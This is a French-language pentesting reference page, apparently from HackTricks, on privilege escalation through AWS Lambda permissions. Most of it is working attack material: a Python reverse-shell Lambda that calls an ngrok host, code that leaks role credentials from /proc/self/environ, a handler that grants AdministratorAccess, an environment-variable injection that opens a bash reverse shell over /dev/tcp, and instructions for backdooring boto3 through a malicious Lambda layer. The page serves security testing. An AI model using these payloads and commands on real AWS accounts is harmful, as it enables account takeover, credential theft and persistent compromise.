# AWS - Lambda Privesc

{{#include ../../../banners/hacktricks-training.md}}

## lambda

Plus d'infos sur lambda dans :

{{#ref}}
../aws-services/aws-lambda-enum.md
{{#endref}}

### `iam:PassRole`, `lambda:CreateFunction`, (`lambda:InvokeFunction` | `lambda:InvokeFunctionUrl`)

Les utilisateurs avec les permissions **`iam:PassRole`, `lambda:CreateFunction`, et `lambda:InvokeFunction`** peuvent élever leurs privilèges.\
Ils peuvent **créer une nouvelle fonction Lambda et lui attribuer un rôle IAM existant**, accordant à la fonction les permissions associées à ce rôle. L'utilisateur peut ensuite **écrire et télécharger du code sur cette fonction Lambda (avec un rev shell par exemple)**.\
Une fois la fonction configurée, l'utilisateur peut **déclencher son exécution** et les actions prévues en invoquant la fonction Lambda via l'API AWS. Cette approche permet effectivement à l'utilisateur d'effectuer des tâches indirectement via la fonction Lambda, opérant avec le niveau d'accès accordé au rôle IAM qui lui est associé.\\

Un attaquant pourrait en abuser pour obtenir un **rev shell et voler le token** :
```python:rev.py
import socket,subprocess,os,time
def lambda_handler(event, context):
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(('4.tcp.ngrok.io',14305))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(['/bin/sh','-i'])
time.sleep(900)
return 0
```

```bash
# Zip the rev shell
zip "rev.zip" "rev.py"

# Create the function
aws lambda create-function --function-name my_function \
--runtime python3.9 --role <arn_of_lambda_role> \
--handler rev.lambda_handler --zip-file fileb://rev.zip

# Invoke the function
aws lambda invoke --function-name my_function output.txt
## If you have the lambda:InvokeFunctionUrl permission you need to expose the lambda inan URL and execute it via the URL

# List roles
aws iam list-attached-user-policies --user-name <user-name>
```
Vous pourriez également **abuser des autorisations de rôle lambda** depuis la fonction lambda elle-même.\
Si le rôle lambda avait suffisamment d'autorisations, vous pourriez l'utiliser pour vous accorder des droits d'administrateur :
```python
import boto3
def lambda_handler(event, context):
client = boto3.client('iam')
response = client.attach_user_policy(
UserName='my_username',
PolicyArn='arn:aws:iam::aws:policy/AdministratorAccess'
)
return response
```
Il est également possible de leak les identifiants de rôle de la lambda sans avoir besoin d'une connexion externe. Cela serait utile pour **Network isolated Lambdas** utilisées pour des tâches internes. S'il y a des groupes de sécurité inconnus filtrant vos reverse shells, ce morceau de code vous permettra de leak directement les identifiants en tant que sortie de la lambda.
```python
def handler(event, context):
sessiontoken = open('/proc/self/environ', "r").read()
return {
'statusCode': 200,
'session': str(sessiontoken)
}
```

```bash
aws lambda invoke --function-name <lambda_name> output.txt
cat output.txt
```
**Impact potentiel :** Privesc direct au rôle de service lambda arbitraire spécifié.

> [!CAUTION]
> Notez que même si cela peut sembler intéressant, **`lambda:InvokeAsync`** **ne** permet pas à lui seul d'**exécuter `aws lambda invoke-async`**, vous avez également besoin de `lambda:InvokeFunction`

### `iam:PassRole`, `lambda:CreateFunction`, `lambda:AddPermission`

Comme dans le scénario précédent, vous pouvez **vous accorder la permission `lambda:InvokeFunction`** si vous avez la permission **`lambda:AddPermission`**
```bash
# Check the previous exploit and use the following line to grant you the invoke permissions
aws --profile "$NON_PRIV_PROFILE_USER" lambda add-permission --function-name my_function \
--action lambda:InvokeFunction --statement-id statement_privesc --principal "$NON_PRIV_PROFILE_USER_ARN"
```
**Impact potentiel :** Privesc direct au rôle de service lambda arbitraire spécifié.

### `iam:PassRole`, `lambda:CreateFunction`, `lambda:CreateEventSourceMapping`

Les utilisateurs avec les permissions **`iam:PassRole`, `lambda:CreateFunction`, et `lambda:CreateEventSourceMapping`** (et potentiellement `dynamodb:PutItem` et `dynamodb:CreateTable`) peuvent indirectement **escalader les privilèges** même sans `lambda:InvokeFunction`.\
Ils peuvent créer une **fonction Lambda avec du code malveillant et lui attribuer un rôle IAM existant**.

Au lieu d'invoquer directement la Lambda, l'utilisateur configure ou utilise une table DynamoDB existante, la liant à la Lambda via un mappage de source d'événement. Cette configuration garantit que la fonction Lambda est **déclenchée automatiquement lors de l'entrée d'un nouvel élément** dans la table, soit par l'action de l'utilisateur, soit par un autre processus, invoquant ainsi indirectement la fonction Lambda et exécutant le code avec les permissions du rôle IAM passé.
```bash
aws lambda create-function --function-name my_function \
--runtime python3.8 --role <arn_of_lambda_role> \
--handler lambda_function.lambda_handler \
--zip-file fileb://rev.zip
```
Si DynamoDB est déjà actif dans l'environnement AWS, l'utilisateur doit seulement **établir le mappage de la source d'événements** pour la fonction Lambda. Cependant, si DynamoDB n'est pas utilisé, l'utilisateur doit **créer une nouvelle table** avec le streaming activé :
```bash
aws dynamodb create-table --table-name my_table \
--attribute-definitions AttributeName=Test,AttributeType=S \
--key-schema AttributeName=Test,KeyType=HASH \
--provisioned-throughput ReadCapacityUnits=5,WriteCapacityUnits=5 \
--stream-specification StreamEnabled=true,StreamViewType=NEW_AND_OLD_IMAGES
```
Maintenant, il est possible **de connecter la fonction Lambda à la table DynamoDB** en **créant un mappage de source d'événements** :
```bash
aws lambda create-event-source-mapping --function-name my_function \
--event-source-arn <arn_of_dynamodb_table_stream> \
--enabled --starting-position LATEST
```
Avec la fonction Lambda liée au flux DynamoDB, l'attaquant peut **déclencher indirectement la Lambda en activant le flux DynamoDB**. Cela peut être accompli en **insérant un élément** dans la table DynamoDB :
```bash
aws dynamodb put-item --table-name my_table \
--item Test={S="Random string"}
```
**Impact potentiel :** Privesc direct au rôle de service lambda spécifié.

### `lambda:AddPermission`

Un attaquant avec cette permission peut **s'accorder (ou accorder à d'autres) toutes les permissions** (cela génère des politiques basées sur les ressources pour accorder l'accès à la ressource) :
```bash
# Give yourself all permissions (you could specify granular such as lambda:InvokeFunction or lambda:UpdateFunctionCode)
aws lambda add-permission --function-name <func_name> --statement-id asdasd --action '*' --principal arn:<your user arn>

# Invoke the function
aws lambda invoke --function-name <func_name> /tmp/outout
```
**Impact potentiel :** Privesc direct au rôle de service lambda utilisé en accordant la permission de modifier le code et de l'exécuter.

### `lambda:AddLayerVersionPermission`

Un attaquant avec cette permission peut **s'accorder (ou accorder à d'autres) la permission `lambda:GetLayerVersion`**. Il pourrait accéder à la couche et rechercher des vulnérabilités ou des informations sensibles.
```bash
# Give everyone the permission lambda:GetLayerVersion
aws lambda add-layer-version-permission --layer-name ExternalBackdoor --statement-id xaccount --version-number 1 --principal '*' --action lambda:GetLayerVersion
```
**Impact potentiel :** Accès potentiel à des informations sensibles.

### `lambda:UpdateFunctionCode`

Les utilisateurs détenant la permission **`lambda:UpdateFunctionCode`** ont le potentiel de **modifier le code d'une fonction Lambda existante qui est liée à un rôle IAM.**\
L'attaquant peut **modifier le code de la lambda pour exfiltrer les identifiants IAM**.

Bien que l'attaquant n'ait peut-être pas la capacité directe d'invoquer la fonction, si la fonction Lambda est préexistante et opérationnelle, il est probable qu'elle soit déclenchée par des workflows ou des événements existants, facilitant ainsi indirectement l'exécution du code modifié.
```bash
# The zip should contain the lambda code (trick: Download the current one and add your code there)
aws lambda update-function-code --function-name target_function \
--zip-file fileb:///my/lambda/code/zipped.zip

# If you have invoke permissions:
aws lambda invoke --function-name my_function output.txt

# If not check if it's exposed in any URL or via an API gateway you could access
```
**Impact potentiel :** Privesc direct au rôle de service lambda utilisé.

### `lambda:UpdateFunctionConfiguration`

#### RCE via variables d'environnement

Avec ces permissions, il est possible d'ajouter des variables d'environnement qui feront exécuter du code arbitraire par la Lambda. Par exemple, en python, il est possible d'abuser des variables d'environnement `PYTHONWARNING` et `BROWSER` pour faire exécuter des commandes arbitraires par un processus python :
```bash
aws --profile none-priv lambda update-function-configuration --function-name <func-name> --environment "Variables={PYTHONWARNINGS=all:0:antigravity.x:0:0,BROWSER=\"/bin/bash -c 'bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/18755 0>&1' & #%s\"}"
```
Pour d'autres langages de script, il existe d'autres variables d'environnement que vous pouvez utiliser. Pour plus d'informations, consultez les sous-sections des langages de script dans :

{{#ref}}
https://book.hacktricks.wiki/en/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/index.html
{{#endref}}

#### RCE via Lambda Layers

[**Lambda Layers**](https://docs.aws.amazon.com/lambda/latest/dg/configuration-layers.html) permet d'inclure **du code** dans votre fonction lambda mais **de le stocker séparément**, de sorte que le code de la fonction puisse rester petit et que **plusieurs fonctions puissent partager du code**.

À l'intérieur de lambda, vous pouvez vérifier les chemins à partir desquels le code python est chargé avec une fonction comme suit :
```python
import json
import sys

def lambda_handler(event, context):
print(json.dumps(sys.path, indent=2))
```
Voici les emplacements :

1. /var/task
2. /opt/python/lib/python3.7/site-packages
3. /opt/python
4. /var/runtime
5. /var/lang/lib/python37.zip
6. /var/lang/lib/python3.7
7. /var/lang/lib/python3.7/lib-dynload
8. /var/lang/lib/python3.7/site-packages
9. /opt/python/lib/python3.7/site-packages
10. /opt/python

Par exemple, la bibliothèque boto3 est chargée depuis `/var/runtime/boto3` (4ème position).

#### Exploitation

Il est possible d'abuser de la permission `lambda:UpdateFunctionConfiguration` pour **ajouter une nouvelle couche** à une fonction lambda. Pour exécuter du code arbitraire, cette couche doit contenir une **bibliothèque que la lambda va importer.** Si vous pouvez lire le code de la lambda, vous pourriez le trouver facilement, notez également qu'il pourrait être possible que la lambda utilise **déjà une couche** et que vous puissiez **télécharger** la couche et **ajouter votre code** à l'intérieur.

Par exemple, supposons que la lambda utilise la bibliothèque boto3, cela créera une couche locale avec la dernière version de la bibliothèque :
```bash
pip3 install -t ./lambda_layer boto3
```
Vous pouvez ouvrir `./lambda_layer/boto3/__init__.py` et **ajouter la porte dérobée dans le code global** (une fonction pour exfiltrer des identifiants ou obtenir un shell inversé par exemple).

Ensuite, zippez ce répertoire `./lambda_layer` et **téléchargez le nouveau layer lambda** dans votre propre compte (ou dans celui des victimes, mais vous n'aurez peut-être pas les autorisations pour cela).\
Notez que vous devez créer un dossier python et y mettre les bibliothèques pour remplacer /opt/python/boto3. De plus, le layer doit être **compatible avec la version de python** utilisée par la lambda et si vous le téléchargez dans votre compte, il doit être dans la **même région :**
```bash
aws lambda publish-layer-version --layer-name "boto3" --zip-file file://backdoor.zip --compatible-architectures "x86_64" "arm64" --compatible-runtimes "python3.9" "python3.8" "python3.7" "python3.6"
```
Maintenant, rendez la couche lambda **accessible par n'importe quel compte** :
```bash
aws lambda add-layer-version-permission --layer-name boto3 \
--version-number 1 --statement-id public \
--action lambda:GetLayerVersion --principal *
```
Et attachez la couche lambda à la fonction lambda de la victime :
```bash
aws lambda update-function-configuration \
--function-name <func-name> \
--layers arn:aws:lambda:<region>:<attacker-account-id>:layer:boto3:1 \
--timeout 300 #5min for rev shells
```
L'étape suivante consisterait soit à **invoquer la fonction** nous-mêmes si nous le pouvons, soit à attendre qu'elle **soit invoquée** par des moyens normaux, ce qui est la méthode la plus sûre.

Une **manière plus discrète d'exploiter cette vulnérabilité** peut être trouvée dans :

{{#ref}}
../aws-persistence/aws-lambda-persistence/aws-lambda-layers-persistence.md
{{#endref}}

**Impact potentiel :** Privesc direct au rôle de service lambda utilisé.

### `iam:PassRole`, `lambda:CreateFunction`, `lambda:CreateFunctionUrlConfig`, `lambda:InvokeFunctionUrl`

Peut-être qu'avec ces permissions, vous êtes capable de créer une fonction et de l'exécuter en appelant l'URL... mais je n'ai pas trouvé de moyen de le tester, donc faites-le moi savoir si vous le faites !

### Lambda MitM

Certaines lambdas vont **recevoir des informations sensibles des utilisateurs dans les paramètres.** Si vous obtenez RCE dans l'une d'elles, vous pouvez exfiltrer les informations que d'autres utilisateurs lui envoient, vérifiez-le dans :

{{#ref}}
../aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md
{{#endref}}

## Références

- [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/)
- [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/)

{{#include ../../../banners/hacktricks-training.md}}
